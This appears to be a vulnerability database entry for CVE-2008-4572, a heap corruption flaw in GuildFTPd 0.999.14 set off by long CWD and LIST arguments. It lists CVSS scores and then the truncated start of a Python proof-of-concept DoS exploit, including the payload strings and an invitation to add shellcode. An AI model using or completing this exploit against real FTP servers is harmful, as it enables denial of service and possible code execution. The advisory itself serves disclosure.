10
CVSSv2

CVE-2008-4572

Published: 15/10/2008 Updated: 29/09/2017
CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10
VMScore: 1000
Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

GuildFTPd 0.999.14, and possibly other versions, allows remote malicious users to cause a denial of service (crash) and possibly execute arbitrary code via long arguments to the CWD and LIST commands, which triggers heap corruption related to an improper free call, and possibly triggering a heap-based buffer overflow.

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guildftpd guildftpd 0.999.14

Exploits

# GuildFTPd v0999811/v099914 heap corruption PoC/DoS exploit # GuildFTPd URL - wwwguildftpdcom # cwd/list heap corruption # overwrite registers in free(): ecx, edi # # (x)dmnt 2008 # feel free to do shellcode # -*- coding: windows-1252 -*- import socket import sys, time evil_cwd = "/"*124 evil_dir = "X"*100 def help_info(): pr ...